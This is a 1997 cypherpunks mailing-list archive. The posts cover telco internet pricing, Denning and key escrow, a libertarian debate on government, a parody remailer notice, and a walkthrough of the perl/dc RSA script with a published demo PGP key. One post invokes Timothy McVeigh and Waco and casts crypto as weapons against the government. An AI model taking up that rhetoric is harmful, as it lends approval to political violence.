> per-minute access charges to raise the hundreds of
> millions of dollars a year needed to keep the phone
> system from crashing.

  My solution? (Thanks for asking. :>)
  If the telecos wish to remain in the Dark Ages, then let *their*
phone system crash. There will be no shortage of people standing
in line to make money by supplying customers with phone service at
competitive rates.
 
> "The Effect of Internet Use on the Nation's Telephone
> Network," blasted telco assumptions and pointed out
> their hypocrisy: the Baby Bells whine that flat-rate
> Internet services are congesting phone lines even as
> many of them are peddling flat-rate Internet access
> themselves. Some have actually given it away - 

  The old "loss-leader" promotion to get everyone into your
store. The telecos, however, then want to lock the doors and
petition the government for monopoly pricing, instead of letting
the "customers" shop across the street, instead.

> "It doesn't have to be a large charge," Bell
> Atlantic's Ed Young now says. "It can be something of
> the magnitude of a penny a minute, or even less. But
> it has to be something."

  "...so that we can raise the rates outrageously in the future."
 
> As a rule, Washington's
> bureaucrats are not power-crazed authoritarians; most
> are reactive creatures who simply respond to
> demonstrations of influence and power. 

  Translation~:~ They are usually manipulated by the most powerful
and influential of the power-crazed authoritarians.

> The high tech
> community responded by forming its own ad hoc
> coalition to pressure the FCC, and thousands of
> Internet users chimed in to express their collective
> dismay. Of course, the best way to win not just the
> battle but the war may be to remove the commission's
> power to regulate the Net altogether. Still, so far
> the real threat to netizens has come from complacent
> telcos and their legions of starched-collar lobbyists,
> not the FCC. The distinction is important, because the
> old rule of thumb still holds true: The enemy of our
> enemy may occasionally prove to be our friend.

  As long as everyone has Guns & Roses (with sharp thorns).
Say what you want about Timothy McVeigh, but if the government
launches another Waco atrocity in the near future, the citizens
will be paying much closer attention to the way it is handled.
  The attempt to control the InterNet is yet another attempt to
disarm the citizens. They are trying to get us to "voluntarily"
turn in our electronic weapons, such as crypto.
  "They will take my crypto when they pry it from my cold, dead
algorithms."

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Avery <cavery@ccnet.com>
Date: Fri, 1 Aug 1997 23:48:46 +0800
To: "'Cypherpunks'" <cypherpunks@toad.com>
Subject: One effort for Internet Privacy
Message-ID: <01BC9E55.F7C62CE0@h97-128.ccnet.com>
MIME-Version: 1.0
Content-Type: text/plain



On a lark, I dashed off a "letter to the editor" of the San Francisco Chronicle, quoted below, lo and behold it got published today.  You will see I simplified and softened the message somewhat -- a little spin for the good guys never hurt:  (published as lead letter, nice headline)

"HOW FAR SHALL WE LET THE EAVESDROPPERS GO?"

Editor -- Washington wants the right to "wire-tap" private communications on the Internet, and the issue is now being debated in Congress. I'm not raising the "content" issue, which can be handled by screening software or by ratings; this is instead the issue of privacy in person-to-person communications.

The rationale for the bills before Congress is law enforcement, giving officials new methods to detect criminal activity.  All well and good, but is it really wise to grant the bureaucracy access into this vital channel of personal communications before we fully understand its potentials?  How far shall we let the eavesdroppers go?  Beware, these aren't casual issues --- your rights are in danger.

CHRIS AVERY
Oakland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 1 Aug 1997 22:37:56 +0800
To: cypherpunks@toad.com
Subject: Re: Attila T. Spammer / Re: Denning questions/reverses her position?
In-Reply-To: <199708010531.HAA23603@basement.replay.com>
Message-ID: <9seRae2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> Attila T. Hun wrote:
> >     I'm too old for this!  I never thought I would see the day that
> >     Dorothy Denning would terminate her star role as a shill for the
> >     Clinton/LEA encryption ban!
>
>   As a matter of fact, the mere thought of this happening has caused
> Attila to go into a state of "brain-lock" wherein he sits at his
> keyboard, sending the same message, over and over again, to the list.
>   It will be interesting to see what happens to Attila's brain if
> Clinton ever vetos a bill because it subverts the Constitution.

A mail glitch.  Big deal.  :-)

>   BTW, Dorothy Denning's new spokesperson is a flying pig, and the
> Weather Network reports that Hell froze over shortly before Denning's
> new position statement.


Come on now.  Dr. Denning is a VERY smart woman and I'm glad that she
eventually came to see the evils of GAK (key escrow by gov't).

I'm pretty sure she still supports the right of a corporation to
tell the users of corporate systems not to have anything on those
systems that the corporation can't decrypt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 1 Aug 1997 22:39:00 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free   download)
In-Reply-To: <Pine.LNX.3.93.970801134915.363A-100000@shirley>
Message-ID: <41eRae3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> On Thu, 31 Jul 1997, Bill Stewart wrote:
>
> [...MMF...]
>
> > though I'm sure that to some extent it's because people started
> > complaining to the Post Office that they were receiving junk mail,
>
> The MMF ban came about when its volume rose to a point where it crashed
> californaia's snail mail system.

Not true.  Urban legend.

(Not did the Cantor & Siegel spam cut Australia off of Usenet.  The cancels
forged for their spam did.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Fri, 1 Aug 1997 16:31:28 +0800
To: cryptography@c2.net
Subject: Microsoft RAS encryption?
Message-ID: <3.0.3.32.19970801101506.0092b420@localhost>
MIME-Version: 1.0
Content-Type: text/plain




Does anybody know how Microsoft RAS implements data encryption? Apparently
(http://www.microsoft.com/kb/articles/q136/6/34.htm) they use RC4, but is
this stuff documented somewhere, like in an RFC?


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 1 Aug 1997 23:40:28 +0800
To: cypherpunks@ssz.com
Subject: Re: Attila T. Spammer / Re: Denning questions/reverses her position? (fwd)
Message-ID: <199708011527.KAA26326@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Attila T. Spammer / Re: Denning questions/reverses her position?
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Fri, 01 Aug 97 09:18:19 EDT

> I'm pretty sure she still supports the right of a corporation to
> tell the users of corporate systems not to have anything on those
> systems that the corporation can't decrypt.

And why wouldn't you? Let's look at this a moment.

1.   Business, irrespective of size, is not equivalent to the government
     and specificaly isn't mentioned in the Constitution at all so we
     are reasonably safe they are exempt from federal compliance with its
     requirements outside that detailed for citizens and regarding
     inter-state or international trade.

2.   The relationship between employer and employee is one based on a
     contract.

3.   Neither party is forced beyond their own needs and desires to sign
     the contract.

4.   Each party is aware of the contents of the contract before they
     sign it, or at least is given the opportunity to be made aware.
     If somebody wants to sign a contract with no knowledge of its
     contents, so be it.

5.   Who owns the computers? The business does clearly. Now a commen
     proviso on ownership is that the final decision, or the transfer
     of that decision, is up to the business. Just as it is ultimately
     up to you who gets to drive your car.

6.   Most provisions of employment contain the proviso that the time
     you agree to work for that employer is to be spent on dealing with
     the employers needs and not the employees. This is after all at least
     one of the reasons behind using time off and floating holidays and
     such.

7.   Provided the employee is aware of this policy at the time of
     signing OR is given a reasonable warning period before a shift of
     policy after hiring then the employee has no grounds to complain.


Myself, I always ask my immediate supervisor for a description of company
policy on this. I also always ask if they have an objection to me using
the company system to log into my home system during lunch and other
'off-clock' hours. So far I have never been refused.

Short answer to this, use your own resources for your own use and don't
use other peoples resources to carry on your own activities unless you offer
them a cut of the profit.

Ultimately this isn't even a question of contracts but of simple plain ol'
every-day manners.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 1 Aug 1997 22:48:39 +0800
To: "Attila T. Hun" <attila@hun.attila.org>
Subject: Re: OverRun Msgs Re: Denning questions/reverses her position?
In-Reply-To: <199708010622.AAA19605@infowest.com>
Message-ID: <Pine.SUN.3.96.970801103912.28282D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




Sounds like Dorothy's Revenge to me.  (i.e. a case of the email shits. :)
Heheh. :)

On Fri, 1 Aug 1997, Attila T. Hun wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> on or about 970731:2245 it was expostulated:
> 
> +::
> +Anon-To: cypherpunks@toad.com
> 
> +Attila T. Hun wrote: 
> +>     I'm too old for this!  I never thought I would see the day that
> +>     Dorothy Denning would terminate her star role as a shill for the
> +>     Clinton/LEA encryption ban!
> 
> +  As a matter of fact, the mere thought of this happening has caused
> +Attila to go into a state of "brain-lock" wherein he sits at his
> +keyboard, sending the same message, over and over again, to the list.
> +  It will be interesting to see what happens to Attila's brain if
> +Clinton ever vetos a bill because it subverts the Constitution.
> 
> +  BTW, Dorothy Denning's new spokesperson is a flying pig, and the
> +Weather Network reports that Hell froze over shortly before Denning's
> +new position statement.
> 
> +TruthMonger
> 
>     dunno why the message was repeated at cyberpass --each of the 55
>     copies I received as of 20 minutes ago has exactly the same header
>     date from cyberpass.  that and one of them smoked the primary
>     mailbox with a couple hundred null characters.  hun.attila.org
>     was offline so it could not have generated the extra messages --so
>     where did they loop?  only the shadow knows. If it is something
>     by remote SMPT added on, I apologize for the inconvenience.
> 
>     the image of my brain in "brain-lock" is apt enough for the reaction;
>     as for the flying pig and Hell freezes over --that too. Denning is
>     still Denning, and maybe she's just angling for more shill money 
>     before she gets back on the track.
> 
>     yes, if Clinton ever vetos a bill just because it violats the 
>     Constitution, I probably would be gone....


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Sat, 2 Aug 1997 02:30:06 +0800
To: Michael.Johnson@mejl.com (Mike)
Subject: Re: Microsoft RAS encryption?
In-Reply-To: <3.0.3.32.19970801101506.0092b420@localhost>
Message-ID: <199708011755.KAA11466@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



	See www.l0pht.com


> 
> Does anybody know how Microsoft RAS implements data encryption? Apparently
> (http://www.microsoft.com/kb/articles/q136/6/34.htm) they use RC4, but is
> this stuff documented somewhere, like in an RFC?
> 
> 
> Mike.
> 


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 18:49:58 +0800
To: kent@songbird.com
Subject: Re: free market services vs monopoly government
In-Reply-To: <19970731182720.53925@bywater.songbird.com>
Message-ID: <199708011032.LAA01054@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> On Thu, Jul 31, 1997 at 09:59:37PM +0100, Adam Back wrote:
> > Kent you seem to harbor the belief that government monopoly is a good
> > thing, or at least that government is somehow an unavoidable necessary
> > evil.
> 
> Adam, in all honesty I don't think of it like that at all. 
> "Government" to me is a completely neutral abstract term, like
> "organization", or "society".  

Isn't that a bit humpty dumpty words mean what I say they mean-ish?
Clearly my use of the word government above is intended to mean your
or my government.  If I was in the US I might have used the term USG,
but as I'm not I generalised to governments, meaning existing
governments of countries.  Government has other dictionary meanings.

> Consequently, a statement like "Government is always bad" is ipso
> facto a shallow generalization, and my natural reaction is to point
> out that sometimes government is good.

I'll admit there are situations where a government may make a good
decision, or handle a situation not too badly, or not that
restrictively.  Such situations are quite rare though, aren't they :-)

> Since the poor brainwashed souls on cypherpunks uniformly spout the
> "Government is bad" party line, the result is that comes out looking
> like I think government is good.  But that is an incorrect
> impression.  Government, as a general abstract term, is neither bad
> or good.

All words are neutral as abstract terms, it's only when you consider
the semantics of your intended meaning in using them in given contexts
that they become other than abstract.

Nuclear bomb is an neutral term.

> [Note: While "government" in general is a completely neutral term,
> particular governments may be better or worse in various dimensions,
> of course.  But it is never a black or white thing.  

Didn't say otherwise.  I gave the example of the ex Soviet Union as a
worse, more restrictive government than either US or UK government in
the post you are replying to.

> I don't think of government as a "necessary evil", either.  Rather,
> I think that a government of some kind is an inevitable outgrowth of
> human nature.  I think this for three compelling reasons: first, it is
> obversationally true -- there are essentially no human beings who live
> without a government of some kind; second, because it is in agreement
> with all my observations and knowledge of human nature; and third,
> because it makes sense to me as the rational consequence of the
> existence of force as an interpersonal interaction. 

As a general rule: less government intervention is more efficient than
more.  This is because the free market is better at meeting people's
demands in a tailored fashion than any socialist/communist planned
economy handed down by a few big-wigs.

Are you against privatisation?  Are you against deregulation?

I suppose you'd like to unreform the US telco's and put it back into
one huge monopoly charging monopoly rates?  Clearly US telco's have a
long way to go in terms of having a free competitive arena with FCC
intervention, but surely you aren't denying the improved efficiency
the deregulation you have had has produced.

It's not black or white.  (Where did I read that sentence, hmmm).

In the UK we have a socialist state.  Government provides a huge
social security system.  They have cut back on it a bit in the last 20
years, but it's still a disgrace the way money is wasted.
Nationalised medical care, all out of your tax bill.  No wonder the
tax rate is > 50% effective.  Some scandinavian countries are up in
the 60 and 70% effective tax range.

Would you like some of that in the US?  At least you currently have
mostly privatised medical care.

My point is really that the more market freedom, more deregulation,
less government intervention, less attempts to influence the market
the better off we'll all be.

Do you think it would be a good thing if the government started taxing
Internet usage?

> In fact, of course, the US generates a great deal of wealth for its
> citizens, who are among the best off and most productive of any nation
> on earth.  Of course it could be better, but it could be a whole lot
> worse.  To say that the form of government had nothing to do with that
> *success* is intellectually dishonest -- one can just as easily argue
> that things are good in the US largely *because* we have a relatively
> good government. 

Jeez, just imagine how much better off you could be without all the
government crapola.

> > The success that a country does enjoy is pretty much proportional to
> > the degree of market freedom.  Luckily for us our governments have
> > left a bit of freedom in markets, or we would have food shortages, and
> > rationing.
> 
> Oh, "luckily".  No possibility that there was intelligence involved,
> eh?

Maybe a bit of self-interest :-) Eg if the cancerous growth stifles
too much trade, it might get less tax revenues.  I view Clinton's
recent "hands off" approach to the internet in this light, if he
actually means anything concrete by it.

> [...]
> > Governments tend to grow, and soak up larger tax percentages, and
> > encroach into more aspects of life which were previously a question of
> > free choice, or were previously purely market driven.  The reason for
> > this growth is due to the government as an entity unconciously
> > promoting itself as an organism.  A great huge cancerous growth which
> > has us by the jugular.
> 
> "Governments" is the wrong term here.  A more correct term would be 
> "bureaucracies."   The growth you describe is endemic to any large 
> human organization.  Large corporations go through very similar 
> cycles.  Charities, churches, clubs -- it happens everywhere.  

Governments too.  ie what I said was true for governments so why
contest the fact?  So there are other systems it is true for, so what?
I didn't say there weren't.

> > A good start would be a choice in government, to generate some
> > competition.  So you can buy membership in a protection racket, hire
> > the services of a private security firm, or buy insurance from an
> > insurance group because of its benefits package, or go elsewhere if
> > the offering sucks.  You choose on an individual basis what package
> > best suits you, and you choose the service providers who you consider
> > as the best value for money.
> 
> This is a pure pipe dream, a utopian fantasy for libertarians.  I 
> could say "a good start would be for everyone to love one another" -- 
> it would be just as real.

OK, lets start with deregulation, and privatisation of everything that
it is immediately possible to arrange.  Not so radical is it?

You aren't going to get a purely market based economy with no
government intervention over night, clearly.

> > eg. I can go buy into Uncle Enzo's pizza delivery and protection
> > racket because the protection is 5000% better value for money than the
> > Feds deal.
> 
> How do you get out from Uncle Enzo's protection racket when things go 
> sour, if Uncle Enzo doesn't allow his customers to leave, or even to 
> say anything bad about him?

Sounds remarkably similar to the current situation doesn't it?

Anyway you just buy into Mr Lee's New Hong Kong protection racket, and
Uncle Enzo will respect Mr Lee's fire-power enough to consider it not
worth the effort of picking on small fry like you.

> You are describing pure speculative fantasy, and it is pointless to
> argue the details of your speculation.  All I can do is point out that
> it *is* a speculative fantasy, and challenge you to produce something
> meaningfully concrete.  Show me a real living example of such a
> society in operation.  

It's not black and white.  It's not all or nothing.  We can start with
less government, before it shrivels up to close to zero.

> If such an excellent society existed then surely people would flock
> to it in droves.  Or is it like communism -- we have to have the
> whole world under control before the dictatorship of the proletariat
> withers away, and the glorious new world order flowers?

Cultural and societal change have happened in the past.  I guess
you've read of the feudal systems.  Well society's structure has
changed.  If you lived in feudal systems, you'd be one of the serfs
happy with his lot tithing to the lord of the manor, and to the fat
church, and being left with barely enough to eat.

Clearly presures exist today where people would like to move to
different regimes.  People are real keen to get out of less free
governments into freer ones.  I won't bother with examples, anyone can
come up with those.

See anything wrong with making a currently relatively free government
into an even less restrictive government?

> No, I think that average people have much more sense than you give
> them credit for, and that the egotism of people who are bright
> technically frequently blinds them to their shallow understanding of
> other areas.  I have seen very bright people caught up in all sorts of
> insane ideas.  

Tell me, are the following insane ideas:

	- privatisation
	- deregulation
	- devolution of government power to smaller power bases
	- lower taxes
	- fewer politicians
	- reduced social security system 
	- cancel the war on drugs

> The best example I know is the weapons physicist, a brilliant and
> clever thinker, who is a member of a fundamentalist Christian group.
> He predicted the second coming on a particular day, and announced it
> to the press, with a statement to the effect that he had set off
> bombs at the Nevada test site with less intellectual certainty than
> his prediction.  I'm sure he is now back reading the the Bible and
> other texts, and trying to figure out what went wrong.

That suggests to me that he is slightly cracked, as well as being a
inventive physicist.

> I admire his conviction, his tenacity, but not his grip on reality. 

Yup, cracked.

> > Free choice makes for much more efficiency in terms of economics, and
> > in terms of individuals happiness.
> 
> Sure.  So what.  The issue is what *real* can be done.  Utopian 
> fantasies don't do it.

Work towards the principle that free markets are more efficient than
state monopolies.

> > Here's a reading list for those interested in disbanding government
> > and replacing it with services purchased on the free market:
> [...]
> 
> Hmm.  You base your philosophy on a couple of science fiction novels,
> "The Machinery of Freedom", Adam Smith, and Hayek? Some years ago I
> read Nozick and Rand, because I thought there might be something to
> libertarian philosophy.  I also read parts of "Machinery of Freedom"
> -- a better title, I think, would be "Intellectual Tinkertoys of
> Freedom" -- and something by Boas, and a couple other things that fade
> from my memory.  I conclude that these books are libertarian
> scripture, and function like that physicists bible.  

Adam Smith is a pretty sound pure market economics text.  If you can
refute any of it's claims, which are in the main logical, or
mathematical readily observable truisms, I'd be interested to hear
your arguments.

Hayek just points out the clearly observable trends with Socialism.
If you can't see much of what he was saying back in 1944 replayed
before your eyes in the US, you've got your eyes closed.

Rand is a somewhere between the two, lots of negative things to say
about socialism, and also lots to say about free market.

> Adam, I admire your conviction, I respect your technical expertise a
> lot, but we have a different view of reality.  We will just have to
> differ on that. 

Heh, I said I wouldn't convince you.

[I took the perl rsa usage to a new post]

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 18:47:16 +0800
To: cypherpunks@cyberpass.net
Subject: using perl-rsa
Message-ID: <199708011035.LAA01061@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




[managed to type kent instead of keng this time, touch typist and not
watching the screen either].

Kent Crispin <kent@songbird.com> writes:
> [...]
> 
> >print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> >)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> 
> BTW, how do you use this code?  I'm not a big "dc" user, I must admit.

You first of all extract your a PGP key with pgpacket.  (You'll need
to change the password to be no password (press enter when prompted
for password), so that PGP doesn't encrypt the private key.

Next, you can do:

	% perl rsa.pl [e] [n] < plaintext > ciphertext
	% perl rsa.pl [d] [n] < plaintext > ciphertext

to encrypt and decrypt.

Here's a small example (Fred is a notional eternity user who's key,
both public and private is included in the eternity distribution):

Fred's public key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQBNAzPfUPsAAAECAMn6jtL3ZNjmBrkDLIktHNmBGc+a59BSvFPN8howj5zAj1U8
5QOfVtV4kOliK2AkCcL2yyz3Wz+AHiYdVyuQJF0ABRG0FEZyZWQgPGZyZWRAZXRl
cm5pdHk+iQBVAwUQM99Q/B4mHVcrkCRdAQECQQH/YZqss3VQZwZi5KfylAzFOnz8
/pXOSh8Rf9pTsF2TbsAKIK4xL9PzYoicy/KAZdIN+AJO8dX/xY0a1v5A8xobeg==
=iWoN
-----END PGP PUBLIC KEY BLOCK-----

Fred's secret key (no password):

-----BEGIN PGP SECRET KEY BLOCK-----
Version: 2.6.3i

lQD4AzPfUPsAAAECAMn6jtL3ZNjmBrkDLIktHNmBGc+a59BSvFPN8howj5zAj1U8
5QOfVtV4kOliK2AkCcL2yyz3Wz+AHiYdVyuQJF0ABREAAfsEPkWwiGybJRn00/dB
RLZjOZHAmMRVDH6UC9si+GpHDsOs5/eLbK6GUqmbWXG4I4LadxRQz/nplQ+lCVYP
ecrbAQDixLjtXlj9ks1e9ZcroU71Pvk84oQjpUhiU1rAIkKh9wEA5APIvVJETEjm
DxEpdE6hJkty+nb6v8VNOYlslo8Ol0sA/iwRycjjcNs4A2c9Owt+xLCiMp2JIb0z
yf7d4xEcLI1vUXG0FEZyZWQgPGZyZWRAZXRlcm5pdHk+
=CHwS
-----END PGP SECRET KEY BLOCK-----

(to extract public key do:

% pgp -kxa fred fredpub ~/.pgp/pubring.pgp 

and to get private key do:

% pgp -kxa fred fredpri ~/.pgp/secring.pgp 

)

Next get pgpacket.pl, see ftp://ftp.ox.ac.uk/pub/crypto/pgp/utils/ or
something like that.

Then run pgpacket on the fredpri.asc (it contains all the info that
you want, without looking at fredpub.asc, ie the values for e, d and
n):

% pgpacket fredpri.asc

The values for e, d, and n are:

e = 11
d = 043E45B0886C9B2519F4D3F74144B6633991C098C4550C7E940BDB22F86A470E
    C3ACE7F78B6CAE8652A99B5971B82382DA771450CFF9E9950FA509560F79CADB
n = C9FA8ED2F764D8E606B9032C892D1CD98119CF9AE7D052BC53CDF21A308F9CC0
    8F553CE5039F56D57890E9622B602409C2F6CB2CF75B3F801E261D572B90245D

Now you can encrypt for fred like so:

% echo hello world | perl rsa.pl 11 C9FA8ED2F764D8E606B9032C892D1CD98119CF9AE7D052BC53CDF21A308F9CC08F553CE5039F56D57890E9622B602409C2F6CB2CF75B3F801E261D572B90245D > hello.rsa
%

and to decrypt:

% perl rsa.pl 043E45B0886C9B2519F4D3F74144B6633991C098C4550C7E940BDB22F86A470EC3ACE7F78B6CAE8652A99B5971B82382DA771450CFF9E9950FA509560F79CADB C9FA8ED2F764D8E606B9032C892D1CD98119CF9AE7D052BC53CDF21A308F9CC08F553CE5039F56D57890E9622B602409C2F6CB2CF75B3F801E261D572B90245D < hello.rsa
hello world
%

Now dc can do modular exponentiation like so (reverse polish notation):

dc> m e ^ n %

but that's going to take a long time because it will evaluate m ^ e
and then do mod n.

So the clever thing that the program does is to implement Knuth's
modexp algorithm which reduces the work factor immensly. 

Actually GNU dc 1.1 (distributed with GNU bc-1.04) now includes "|" as
a modular exponentiation operator, so you can do: "m e n |" and it'll
do it directly.  This feature was a special, just for perl rsa because
Ken Pizzini, author of GNU dc, happens to be one of the major
contributors of hacks to shorten the perl program, and so have a
vested interest.

With the dc 1.1 | operator, Ken got the script down to:

$/=$z;exec"dc -e'16i0[lN*lMlKlN|+lMlN/dsM0<J]dsJ\U@{[
pop,pop,unpack'H*',<>]}\EsMsKsNx[II*~aSad0<ZLaP]dsZx'"

a considerable improvement over:

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

> I dug out a midi interpreter I wrote a number of years ago, 
> and it is indeed trivial to modify it to read any text as input.  
> Unfortunately, I wrote that long before the midi file spec was 
> finalized, and the hardware I wrote it for is also long gone.  But 
> it's probably not much work to get file output working again...and 
> the thought of a general text-to-midi translator is rather 
> entertaining -- I could play this entire mail message through it, for 
> example... It would definitely make better music if some rhythmic 
> variation was part of the coding, but that would make it a little 
> harder to make an automatic decoder...

I'd find it most cool to hear an audio file of the above.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 1 Aug 1997 16:41:45 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free   download)
In-Reply-To: <3.0.2.32.19970731102244.006f3430@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.93.970801134915.363A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Bill Stewart wrote:

[...MMF...]

> though I'm sure that to some extent it's because people started
> complaining to the Post Office that they were receiving junk mail,

The MMF ban came about when its volume rose to a point where it crashed
californaia's snail mail system.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+FkeKQK0ynCmdStAQHCzwQAmr60ZmnFX0e+bsd/TIyeEFfBdVwJoIwC
TMaiup70Qq0Lj5gFsCV6TsX8OlA6oIjxSzUQSrYqOM9agXf2vw8uG4KTeBft8Lsf
16Yfs40C3Py96KWaYoKLzhDRpxvq//6QUxkLUwra306ol1EcCnhF/YEu4JTrhXm4
+9lXf8TMLlY=
=Tl5N
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Fri, 1 Aug 1997 13:46:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03007803b0067a1a1c9e@[168.161.105.191]>
Message-ID: <199708010535.PAA10817@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



   Declan McCullagh said:

>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
>Maybe I should call her up and press her for details.

While your at it why not ask if she (see her post to this list dated 1 
Sep 1996; and several EFF board members referred to in John Gilmores post 
to this list on 2 Sep 1996) are still having problems with anonymity. 

I didn't think she was a GAKer way back then so who knows which way the 
wind is blowing her now.  Garfinkel refers to her long held belief that 
controls on encryption were necessary so perhaps I am wrong and she was a 
GAKer all along although her reference in her email of 1 Sep makes no 
mention of it when she sought to distinguish her comments on anonymity 
from the issue of encryption thus:

"Please note that this is not the same as the right to *private* 
conversations and the use of encryption; this is the issue of being 
accountable for what you publish in public."

Then again her comments appeared to be a slipery as an eel in terms of 
meaning so who knows what the hell she means/meant/will mean at any 
particular point in time.

-- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Intolerant Remailer" <ir@dev.null>
Date: Sat, 2 Aug 1997 07:21:38 +0800
To: cypherpunks@toad.com
Subject: New Remailer Announcement
Message-ID: <199708012152.PAA09058@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



   ----x------------------x----x------x---------------------x-x-----
   ANNOUNCEMENT: The "Intolerant Remailer" is now fully operational!
   ----x------------------x----x------x---------------------x-x-----

Remailer Policy
---------------
  Read the header, you lazy bastard.

Remailer Help
-------------
  You won't need any. Read the fucking header, like I told you!

Remailer Stats
--------------
  Why do you want to know? Are you a cop, or something?

Remailer Abuse Policy
---------------------
  Fuck you!

For Further Information:
-----------------------
  Don't bother asking. As a matter of fact, I've come to the decision
that I don't want a bunch of assholes like you using my remailer. Get
your own goddamn remailer!

----x------------------x----x------x---------------------x-x-----------
"Intolerant Remailer" is a registered TradeMark of "Automated Anonymous 
Assholes, Inc.", for use only by the "Electronic Forgery Foundation."
----x------------------x----x------x---------------------x-x-----------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sat, 2 Aug 1997 07:21:15 +0800
To: cypherpunks@toad.com
Subject: Re: "Telco Terrorism" -- Wired on Baby Bells v. the Net
